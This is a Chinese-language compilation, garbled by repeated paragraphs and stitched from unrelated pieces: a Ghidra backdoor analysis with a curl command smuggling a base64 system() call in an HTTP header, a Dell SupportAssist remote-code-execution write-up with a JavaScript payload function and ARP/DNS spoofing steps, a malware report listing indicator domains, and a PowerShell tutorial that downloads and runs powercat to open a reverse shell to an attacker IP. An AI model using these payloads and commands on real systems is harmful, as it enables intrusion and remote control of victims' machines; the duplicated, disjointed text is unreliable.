第二处后门
沿着伪代码继续分析,看到这一段代码
双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来
沿着伪代码继续分析,看到这一段代码
双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来
朝虚拟机构造一个请求:
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图
我打开了 Chrome Web Inspector 和网络选项卡,然后按下“检测驱动程序”按钮
看起来 Web 客户端可以直接向SupportAssistAgent服务发出“下载并手动安装”程序的请求。我决定找到服务中的 Web 服务器,SupportAssistAgent以调查可以发出哪些命令
看起来 Web 客户端可以直接向SupportAssistAgent服务发出“下载并手动安装”程序的请求。我决定找到服务中的 Web 服务器,SupportAssistAgent以调查可以发出哪些命令
发现
去年 9 月,我打算买一台新笔记本电脑,因为我那台用了 7 年的 Macbook Pro 已经不能用了。我正在寻找一台性能符合我要求且价格合理的笔记本电脑,于是我决定买戴尔的 G3 15 笔记本电脑。我决定将笔记本电脑的 1TB 硬盘升级为 SSD。升级并重新安装 Windows 后,我必须安装驱动程序。这时事情变得有趣起来。访问戴尔的支持网站后,我得到了一个有趣的选项
“检测 PC”?它怎么能检测到我的 PC?出于好奇,我点击它看看发生了什么
去年 9 月,我打算买一台新笔记本电脑,因为我那台用了 7 年的 Macbook Pro 已经不能用了。我正在寻找一台性能符合我要求且价格合理的笔记本电脑,于是我决定买戴尔的 G3 15 笔记本电脑。我决定将笔记本电脑的 1TB 硬盘升级为 SSD。升级并重新安装 Windows 后,我必须安装驱动程序。这时事情变得有趣起来。访问戴尔的支持网站后,我得到了一个有趣的选项
“检测 PC”?它怎么能检测到我的 PC?出于好奇,我点击它看看发生了什么
我制作了一个自动发送有效载荷的函数
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
接下来是来自本地网络的攻击。以下是我在概念验证的外部部分(攻击者的机器)采取的步骤:
获取指定接口的接口 IP 地址。
启动模拟 Web 服务器并为其提供我们要发送的有效负载的文件名。Web 服务器检查 Host 标头是否是downloads.dell.com,如果是,则发送二进制有效负载。如果请求 Host 中包含 dell.com 且不是下载域,则发送我们之前提到的 javascript 有效负载。
要对受害者进行 ARP 欺骗,我们首先启用 IP 转发,然后向受害者发送一个 ARP 数据包,告诉它我们是路由器,并向路由器发送一个 ARP 数据包,告诉它我们是受害者机器。我们在漏洞利用期间每隔几秒重复发送这些数据包。退出时,我们将原始 mac 地址发送给受害者和路由器。
最后,我们使用 iptables 将 DNS 数据包重定向到 netfilter 队列,从而实现 DNS 欺骗。我们监听此 netfilter 队列并检查请求的 DNS 名称是否是我们的目标 URL。如果是,我们会发回一个假 DNS 数据包,表明我们的机器是该 URL 背后的真实 IP 地址。
当受害者访问我们的子域名时(直接通过 url 或间接通过 iframe),我们会向其发送恶意的 javascript 负载,该负载会找到代理的服务端口,从我们之前创建的 php 文件中获取签名,然后发送 RCE 负载。当代理处理 RCE 负载时,它会发出请求,downloads.dell.com然后我们会返回二进制负载
获取指定接口的接口 IP 地址。
启动模拟 Web 服务器并为其提供我们要发送的有效负载的文件名。Web 服务器检查 Host 标头是否是downloads.dell.com,如果是,则发送二进制有效负载。如果请求 Host 中包含 dell.com 且不是下载域,则发送我们之前提到的 javascript 有效负载。
要对受害者进行 ARP 欺骗,我们首先启用 IP 转发,然后向受害者发送一个 ARP 数据包,告诉它我们是路由器,并向路由器发送一个 ARP 数据包,告诉它我们是受害者机器。我们在漏洞利用期间每隔几秒重复发送这些数据包。退出时,我们将原始 mac 地址发送给受害者和路由器。
最后,我们使用 iptables 将 DNS 数据包重定向到 netfilter 队列,从而实现 DNS 欺骗。我们监听此 netfilter 队列并检查请求的 DNS 名称是否是我们的目标 URL。如果是,我们会发回一个假 DNS 数据包,表明我们的机器是该 URL 背后的真实 IP 地址。
当受害者访问我们的子域名时(直接通过 url 或间接通过 iframe),我们会向其发送恶意的 javascript 负载,该负载会找到代理的服务端口,从我们之前创建的 php 文件中获取签名,然后发送 RCE 负载。当代理处理 RCE 负载时,它会发出请求,downloads.dell.com然后我们会返回二进制负载
警惕利用AutoHotKey程序传播的挖矿网络
近日,360安全监测与响应中心接到某企业客户反馈,某台办公机出现了卡顿的现象,同时在系统中发现了多个异常进程,经过溯源关联分析,发现背后是一个近期开始活跃的传播挖矿木马以及窃密木马的黑客团伙,该团伙收集大量破解软件以及实用系统工具,之后捆绑病毒loader,并大量发帖宣传,恶意程序获得执行后,会下载并运行xmrig挖矿程序以及AZORult窃密木马,不仅利用受害者主机资源挖矿牟利,同时还窃取用户的比特币钱包,paypal账号等信息,值得注意的是,此次捕获的恶意程序大量使用了AutoHotKey脚本,大大降低了挖矿团伙的开发成本
0x01:感染过程分析
获得客户同意后,360安全监测与响应中心对被感染主机进行了远程排查,与使用者交流后发现,该主机前一天刚刚重做系统,安装了大量软件,研究人员随后对浏览器下载记录进行检查,发现该主机使用者安全意识较好,软件均为官网下载安装,在对所有软件进行检查,排除供应链污染可能性后,下载历史中一个小工具引起了研究人员的注意,但是该工具使用后已经被删除
近日,360安全监测与响应中心接到某企业客户反馈,某台办公机出现了卡顿的现象,同时在系统中发现了多个异常进程,经过溯源关联分析,发现背后是一个近期开始活跃的传播挖矿木马以及窃密木马的黑客团伙,该团伙收集大量破解软件以及实用系统工具,之后捆绑病毒loader,并大量发帖宣传,恶意程序获得执行后,会下载并运行xmrig挖矿程序以及AZORult窃密木马,不仅利用受害者主机资源挖矿牟利,同时还窃取用户的比特币钱包,paypal账号等信息,值得注意的是,此次捕获的恶意程序大量使用了AutoHotKey脚本,大大降低了挖矿团伙的开发成本
0x01:感染过程分析
获得客户同意后,360安全监测与响应中心对被感染主机进行了远程排查,与使用者交流后发现,该主机前一天刚刚重做系统,安装了大量软件,研究人员随后对浏览器下载记录进行检查,发现该主机使用者安全意识较好,软件均为官网下载安装,在对所有软件进行检查,排除供应链污染可能性后,下载历史中一个小工具引起了研究人员的注意,但是该工具使用后已经被删除
IOC信息
矿池地址及C&C
后给出感染情况统计服务器88.99.66.31在2018年的历史解析,
最可以据此排查
矿池地址及C&C
后给出感染情况统计服务器88.99.66.31在2018年的历史解析,
最可以据此排查
imap.yip.su
mcm.iplogger.com
www.iplogger.co
api.iplogger.com
02ip.ru
enterpriseenrollment.iplogger.ru
iplogger.org
ezstat.ru
office.iplogger.com
blog.iplogger.org
corp.ezstat.ru
cdn-www.ezstat.ru
pub-my.iplogger.com
css.iplogger.ru
www.iplogger.ru
message.ezstat.ru
cdn-www.ezstat.ru
iplogger.co
yip.su
www.iplis.ru
www.iplogger.ru
devqa.iplogger.org
imap.iplogger.com
mail.ezstat.ru
docs.ezstat.ru
static.31.66.99.88.clients.your-server.de
superadmin.maper.info
2no.co
sentry.ezstat.ru
pages.ezstat.ru
m.iplogger.com
de.ezstat.ru
dwww.iplogger.org
iplogger.info
iplogger.blog
plus.ezstat.ru
promod.iplogger.org
api.ezstat.ru
yip.su
onelogin.ezstat.ru
mobile.iplogger.com
support02.maper.info
media2.iplogger.org
qa.ezstat.ru
dashboard.ezstat.ru
prx.ezstat.ru
ipgraber.ru
login.ezstat.ru
wldcrdrcrd.ezstat.ru
dr.iplogger.ru
iplo.ru
support02.maper.info
games.ezstat.ru
partners.ezstat.ru
alfa.maper.info
bes.ezstat.ru
qa.ezstat.ru
yip.su
blog.iplogger.org
jenkins.ezstat.ru
pma.deorg.ru
ease.iplogger.org
ftp.iplogger.com
devtest.iplogger.ru
antispam.iplogger.com
ease.iplogger.com
www.iplogger.org
www.ezstat.ru
apac.ezstat.ru
iplogger.info
awmdm.ezstat.ru
plus.ezstat.ru
pages.ezstat.ru
games.ezstat.ru
cs.ezstat.ru
beta.iplogger.ru
prd.iplogger.ru
aws.ezstat.ru
prix.iplogger.org
live.ezstat.ru
www.02ip.ru
mobicontrol.iplogger.com
vpc.ezstat.ru
powershell反弹shell常见方式
本文整理了通过powershell反弹shell的常见方式。利用powercat、dnscat2、nishang、Empire、PowerSploit、Metasploit、Cobalt strike、powershell自定义函数等方式反弹TCP/UDP/HTTP/HTTPS/ICMP/DNS等类型shell。
测试环境说明
攻击者:KALI2.0 32位 192.168.159.134
攻击者2:Ubuntu 14.04 LTS 192.168.159.129 (仅在dnscat2 反弹DNS shell中使用)
目标机:Windows Server 2008 X64 192.168.159.138
powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat
攻击者(192.168.159.134)开启监听:
nc -lvp 6666
或者使用powercat监听
powercat -l -p 6666
目标机反弹cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd
本文整理了通过powershell反弹shell的常见方式。利用powercat、dnscat2、nishang、Empire、PowerSploit、Metasploit、Cobalt strike、powershell自定义函数等方式反弹TCP/UDP/HTTP/HTTPS/ICMP/DNS等类型shell。
测试环境说明
攻击者:KALI2.0 32位 192.168.159.134
攻击者2:Ubuntu 14.04 LTS 192.168.159.129 (仅在dnscat2 反弹DNS shell中使用)
目标机:Windows Server 2008 X64 192.168.159.138
powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat
攻击者(192.168.159.134)开启监听:
nc -lvp 6666
或者使用powercat监听
powercat -l -p 6666
目标机反弹cmd shell:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 192.168.159.134 -p 6666 -e cmd